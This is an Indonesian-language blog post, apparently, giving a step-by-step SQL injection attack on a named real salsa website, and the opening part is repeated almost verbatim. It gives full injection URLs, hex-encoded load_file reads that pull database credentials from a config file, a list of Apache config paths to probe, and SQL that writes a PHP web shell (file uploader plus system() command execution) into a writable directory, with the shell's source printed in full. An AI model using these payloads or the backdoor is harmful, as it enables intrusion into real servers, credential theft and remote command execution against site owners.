oke kali ini saya mau share method uploading shell dengan sql injection. Disini saya akan coba upload shell tanpa susah crack pass and nyari adminpage. trik ini mungkin tidak asing bagi yang sudah berkelana dalam dunia attacking web.
Tapi I just wanna share here
ok deh terlalu banyak bacot..let's get started aja...
TARGET WEB : http://www.londonsalsa.co.uk
Tool...
- hackbar firefox addon (untuk mempermudah sqli)
Download
1. bagian web yang vuln
Langsung saja dengan basic sql injection attack (mungkin disini agak kurang detil untuk basic sqli, tinggal cari saja di blog ini udah ane share basic sqli)
lakukan order by sampai muncul error Unknown column in 'order clause'
saya coba order by 32 baru muncul error, berarti count column ada 31.
Cari Column yang bisa retrieve data dengan union all select
4. Check version, user(), database()
berarti mysql versi 5, user root@localhost nama db salsamov_londosalsa
5. Check file_priv
Sebelumnya kita telah mengetahui nama user yakni 'root'. walaupun sudah jelas user root pasti punya akses write dan load di database tapi kita check saja apa benar punya privelege write dan load.
kita bisa gunakan perintah 1' UNION SELECT file_priv,null FROM mysql.user
jadinya seperti ini
6. Finding Path Directory and Writable one
Setelah kita punya hak akses write. Yang dibutuhkan adalah mengetahui nama path directory. Dalam kasus ini Mudah sekali menemukan path directory, karena page mengeluarkan error seperti
jelas pathnya /home2 ...
[Ask] Bagaimana jika page tidak mengeluarkan error, gimana mengetahui path name nya??
[awswer ] Jika demikian cara yang dilakukan adalah menebaknya atau lakukan load_file (point 8 cara untuk load file) file penting seperti configurasi apache atau mungkin v-host biasanya di file ini memuat informasi letak path suatu web.
ok, beberapa web biasanya memiliki folder /tmp, just like joomla biasanya punya tmp folder. Dan folder ini pasti writable biasanya.
Dan untungnya kali ini web target memiliki tmp folder.
[ Ask ] Bagaimana yang ga punya tmp folder...?..
[ Awr ] Cari path folder gambar, biasanya writable,
7. Test write
ok Kita lakukan test write code ke directory tmp ,,
ternyata web ini melakukan filtering dengan stripslashes
--> stripslashed salah satu cara meng-handle sql injection, yakni memfilter setiap input single atau double quote dengan memberikan \
Jadi kasusnya sekarang kita tidak bisa langsung write dari address bar.
Jadi gimana dong kalau begini...?
oke...lanjut..
7. load File penting
kita bisa lakukan load file dengan load_file('/path/namafile') masalahnya ada single quote dan kefilter, so kita akan lakukan conversi path dan nama file ke hexa jadi seperti ini load_file(0xcodehexadisini). tambahkan 0x didepan code hexa path/filename
kita akan coba load_file penting koneksi ke database, biasanya terpisah file ini terpisah dengan nama koneksi.php or whatever namanya.
File koneksi akan dibutuhkan di file yang menampilkan berita, karena harus retrieve data berita dari database, jadi sekarang kita coba load file berita untuk menemukan lokasi file koneksi, biasanya kode phpnya <?php include "namafilekoneksi" ?>
load file ini
/home2/salsamov/public_html/londonsalsa/newsListings.php
blok pathname diatas di hackbar pilih encoding -> hex encoding -> conversi -> string to 00ff00ff
jadinya seperti ini :
file db ini terletak di http://www.blogger.com/post-create.g?blogID=5556799271743496224
/home2/salsamov/public_html/londonsalsa/functionFiles/dbConnectLOCAL-IGNUM.php -> konversi lagi ke hexa
next kita load file db tersebut
sengaja ga full shot passnya biar temen2 nyoba caranya
nemu username and password db :D
8. upload backdoor dari phpmyadmin
Sekarang kita udah dapet username and passwordnya db, langsung saja login di phpmyadmin
Masuk ke salah satu database, disini saya masuk ke database test kemudian klik tab sql, masukan code berikut
disini saya coba buat table dengan nama up, kemudian inserting value php uploader yang sudah di konversi ke hexa supaya tidak error di phpadminya. setelah itu write code php uploader dari table up tersebut ke directory '/home2/salsamov/public_html/londonsalsa/tmp/cek.php'. terakhir drop table.
kita coba akses php uploadernya
http://www.londonsalsa.co.uk/tmp/cek.php
yang mau Poc VIdeonya bisa Dunlud Disini :)
Tapi I just wanna share here
ok deh terlalu banyak bacot..let's get started aja...
TARGET WEB : http://www.londonsalsa.co.uk
Tool...
- hackbar firefox addon (untuk mempermudah sqli)
Download
1. bagian web yang vuln
2. Cari panjang Column dengan Order byhttp://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187
Langsung saja dengan basic sql injection attack (mungkin disini agak kurang detil untuk basic sqli, tinggal cari saja di blog ini udah ane share basic sqli)
lakukan order by sampai muncul error Unknown column in 'order clause'
saya coba order by 32 baru muncul error, berarti count column ada 31.
http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/order/**/by/**/31--
3. UNION ALL SELECTCari Column yang bisa retrieve data dengan union all select
http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31--
di halaman muncul angka 8, 9, 22 . berarti kita bisa lakukan dump data pada salah satu kolum tersebut 4. Check version, user(), database()
http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(version(),0x3a,user()),9,10,11,12,13,14,15,16,17,18,1 9,20,21,22,23,24,25,26,27,28,29,30,31--
Di page muncul 5.0.51a-24+lenny5-log:root@localhostberarti mysql versi 5, user root@localhost nama db salsamov_londosalsa
5. Check file_priv
Sebelumnya kita telah mengetahui nama user yakni 'root'. walaupun sudah jelas user root pasti punya akses write dan load di database tapi kita check saja apa benar punya privelege write dan load.
kita bisa gunakan perintah 1' UNION SELECT file_priv,null FROM mysql.user
jadinya seperti ini
http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,file_ priv,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20from% 20mysql.user--
Di page muncul Y berarti punya akses load and write
So..Ketika kamu melakukan sql injection, cheking file_priv sangat penting. karena jika kita punya hak akses write.
kita tidak harus melakukan dumping data username,
cracking password, dan nyari admin login. kita langsung aja lakukan write code php uploader ke directory yang writable.
So..Ketika kamu melakukan sql injection, cheking file_priv sangat penting. karena jika kita punya hak akses write.
kita tidak harus melakukan dumping data username,
cracking password, dan nyari admin login. kita langsung aja lakukan write code php uploader ke directory yang writable.
6. Finding Path Directory and Writable one
Setelah kita punya hak akses write. Yang dibutuhkan adalah mengetahui nama path directory. Dalam kasus ini Mudah sekali menemukan path directory, karena page mengeluarkan error seperti
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home2/salsamov/public_html/londonsalsa/functionFiles\
/ClubNightRating.php on line 69
jelas pathnya /home2 ...
[Ask] Bagaimana jika page tidak mengeluarkan error, gimana mengetahui path name nya??
[awswer ] Jika demikian cara yang dilakukan adalah menebaknya atau lakukan load_file (point 8 cara untuk load file) file penting seperti configurasi apache atau mungkin v-host biasanya di file ini memuat informasi letak path suatu web.
berikut beberapa lokasi file configurasi apache yang umum
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
kamu bisa coba satu2 mungkin aja ada yang muncul dihalaman..
untuk melakukan write kita harus tahu directory mana yang writable. How to find writable dir????ok, beberapa web biasanya memiliki folder /tmp, just like joomla biasanya punya tmp folder. Dan folder ini pasti writable biasanya.
Dan untungnya kali ini web target memiliki tmp folder.
[ Ask ] Bagaimana yang ga punya tmp folder...?..
[ Awr ] Cari path folder gambar, biasanya writable,
7. Test write
ok Kita lakukan test write code ke directory tmp ,,
http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,%27ch eck%20sound%27,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31%20into%20outfile%20%27/home2/salsamov/public_html/londonsalsa/tmp/cek.php%27--
ternyata web ini melakukan filtering dengan stripslashes
--> stripslashed salah satu cara meng-handle sql injection, yakni memfilter setiap input single atau double quote dengan memberikan \
Jadi kasusnya sekarang kita tidak bisa langsung write dari address bar.
Jadi gimana dong kalau begini...?
oke...lanjut..
7. load File penting
kita bisa lakukan load file dengan load_file('/path/namafile') masalahnya ada single quote dan kefilter, so kita akan lakukan conversi path dan nama file ke hexa jadi seperti ini load_file(0xcodehexadisini). tambahkan 0x didepan code hexa path/filename
kita akan coba load_file penting koneksi ke database, biasanya terpisah file ini terpisah dengan nama koneksi.php or whatever namanya.
File koneksi akan dibutuhkan di file yang menampilkan berita, karena harus retrieve data berita dari database, jadi sekarang kita coba load file berita untuk menemukan lokasi file koneksi, biasanya kode phpnya <?php include "namafilekoneksi" ?>
load file ini
/home2/salsamov/public_html/londonsalsa/newsListings.php
blok pathname diatas di hackbar pilih encoding -> hex encoding -> conversi -> string to 00ff00ff
jadinya seperti ini :
http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,load_file(0x2f686f6d65322f73616c73616d6f762f7075626c69635f68746d6c 2f6c6f6e646f6e73616c73612f6e6577734c697374696e67732e706870),9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
klik ctrl-u untuk melihat source halaman, and terlihat ada include file dbfile db ini terletak di http://www.blogger.com/post-create.g?blogID=5556799271743496224
/home2/salsamov/public_html/londonsalsa/functionFiles/dbConnectLOCAL-IGNUM.php -> konversi lagi ke hexa
next kita load file db tersebut
lihat kembali source page dan muncul inihttp://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,load_file(0x2f686f6d65322f73616c73616d6f762f7075626c69635f68746d6c 2f6c6f6e646f6e73616c73612f66756e6374696f6e46696c65732f6462436f6e6e6563744c4f4341 4c2d49474e554d2e706870),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31--
sengaja ga full shot passnya biar temen2 nyoba caranya
nemu username and password db :D
8. upload backdoor dari phpmyadmin
Sekarang kita udah dapet username and passwordnya db, langsung saja login di phpmyadmin
Masuk ke salah satu database, disini saya masuk ke database test kemudian klik tab sql, masukan code berikut
create table up (test text); insert into up values (0x3c7072653e3c626f6479206267636f6c6f723d73696c7665723e3c3f7068702069662840636f7 07928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c245f46494c45535b276 6696c65275d5b276e616d65275d2929206563686f2022677265617420756e79696c22203f3e3c666 f726d206d6574686f643d27706f73742720656e63747970653d276d756c7469706172742f666f726 d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c652720736 97a653d273430273e3c696e70757420747970653d277375626d6974272076616c75653d27676f206 86f6e6579273e3c2f666f726d3e3c70202f3e3c666f726d206d6574686f643d27706f7374273e636 f6d6d616e64203a203c696e70757420747970653d277465787427206e616d653d27636d642720736 97a653d27353027203e3c2f666f726d3e203c3f204073797374656d28245f524551554553545b276 36d64275d293f3e3c2f7072653e);
select * from up into outfile '/home2/salsamov/public_html/londonsalsa/tmp/cek.php';
drop table up;
disini saya coba buat table dengan nama up, kemudian inserting value php uploader yang sudah di konversi ke hexa supaya tidak error di phpadminya. setelah itu write code php uploader dari table up tersebut ke directory '/home2/salsamov/public_html/londonsalsa/tmp/cek.php'. terakhir drop table.
yang butuh code php uploadernya ini :
9. Upload shell yang lebih advance<pre><body bgcolor=silver><?php if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) echo "great unyil" ?><form method='post' enctype='multipart/form-data'><input type='file' name='file' size='40'><input type='submit' value='go honey'></form><p /><form method='post'>command : <input type='text' name='cmd' size='50' ></form> <? @system($_REQUEST['cmd'])?></pre>
kita coba akses php uploadernya
http://www.londonsalsa.co.uk/tmp/cek.php
tinggal kalian upload shell yang lebih advance. tinggal croot selanjutnya.
yang mau Poc VIdeonya bisa Dunlud Disini :)